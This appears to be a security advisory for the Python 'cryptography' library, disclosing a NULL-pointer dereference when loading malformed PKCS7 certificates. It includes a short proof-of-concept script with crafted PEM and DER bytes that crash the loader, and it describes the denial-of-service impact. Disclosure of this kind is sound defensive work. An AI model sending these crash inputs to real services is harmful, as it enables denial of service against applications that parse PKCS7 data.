### SummaryCalling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.### PoCHere is a Python code that triggers the issue:```pythonfrom cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificatespem_p7 = b"""-----BEGIN PKCS7-----MAsGCSqGSIb3DQEHAg==-----END PKCS7-----"""der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"load_pem_pkcs7_certificates(pem_p7)load_der_pkcs7_certificates(der_p7)```### ImpactExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.